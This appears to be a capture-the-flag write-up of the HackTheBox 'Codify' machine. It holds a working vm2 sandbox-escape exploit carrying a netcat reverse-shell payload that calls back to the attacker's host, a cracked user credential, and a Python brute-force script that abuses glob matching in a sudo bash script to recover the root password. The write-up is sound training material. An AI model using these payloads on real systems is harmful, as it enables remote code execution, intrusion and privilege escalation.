Skip to content

Latest commit

 

History

History
279 lines (190 loc) · 8.01 KB

README.md

File metadata and controls

279 lines (190 loc) · 8.01 KB

Codify

Write-up author: jon-brandy

Lesson learned:

  • Virtual Machine 2 (VM2) exploitation.
  • Bash script review.
  • Python bruteforce script.

image

PORT SCANNNING:

┌──(brandy㉿bread-yolk)-[~]
└─$ nmap -p- -sVC 10.10.11.239 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-18 00:36 PST
Warning: 10.10.11.239 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.239
Host is up (0.033s latency).
Not shown: 53951 closed tcp ports (conn-refused), 11581 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_  256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 275.72 seconds
  1. Based from the nmap results, we can identified that the machine runs a web application, opens ssh login and using node.js framework for the webapp.

WEBAPP

image

  1. Reading the About Us page, shows us the door to exploit this web app, the vm2 (virtual machine 2) vuln.

image

  1. Searching on the internet about vm2 vulns, shall resulting to this:
VM2 --> Is a library that provides a secure and sandboxed environment for executing JavaScript code. Primarily used in server side
environments such as Node-JS.

https://www.uptycs.com/blog/exploitable-vm2-vulnerabilities (the newest one --> 2023).
  1. Also found a github POC.
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

image

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
  1. To test the POC, we can try by sending --> ls ./

image

  1. Great it executes our bash command, hence let's put our reverse shell payload there.

succeed payload

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f

RESULT

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f');
}
`

console.log(vm.run(code));

RESULT

image

  1. Notice that there is a user named joshua and we can't cd there.

image

  1. Now we need to enumerate dirs and files, our objective should be a config file or .db file.
  2. Long story short, found tickets.db at --> /var/www/contacts.

FOUND JOSHUA CRED

image

  1. Let's crack the hash using rockyou.

image

NOTES: If you want to list all available formats, simply run --> john --list-formats

image

  1. Great! Now we have joshua cred --> joshua:spongebob1.

image

GETTING USER FLAG

image

USER FLAG

cf933e03df80d5ec0e913a06dea26830
  1. Checking sudo permission for joshua resulting to this:

image

BASH SCRIPT

joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
  1. Reviewing the bash script, found the vuln at the comparison.

image

  1. If using double squared brackets, the comparison has meaning to do pattern matching, not string comparing.
  2. Since $USER_PASS (user input) is treated as pattern, hence if user input glob characters such as --> ? or *, it shall potentially match unintended strings, because * matches any string.
  3. In summary, we can leak every chars by bruteforcing it.
  4. To bruteforce it, I used python.

SCRIPT

# from pwn import *
import string
import subprocess # to create a new child process.

passw = ""
is_found = False
# context.log_level = 'INFO'
letter_list = list(string.ascii_letters + string.digits)
# print(all)
# output:
# ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 
# 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 
# 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 
# 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

while not is_found:
    for i in letter_list:
        cmd = f"echo '{passw}{i}*' | sudo /opt/scripts/mysql-backup.sh"
        result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in result:
            passw += i
            # log.success(passw)
            print(passw)
            break
    else:
        is_found = True

RESULT

image

GETTING ROOT FLAG

  1. Great! Let's switch user to root.

image

image

ROOT FLAG

f41dc7d5bdc226c6acbdef35629f3012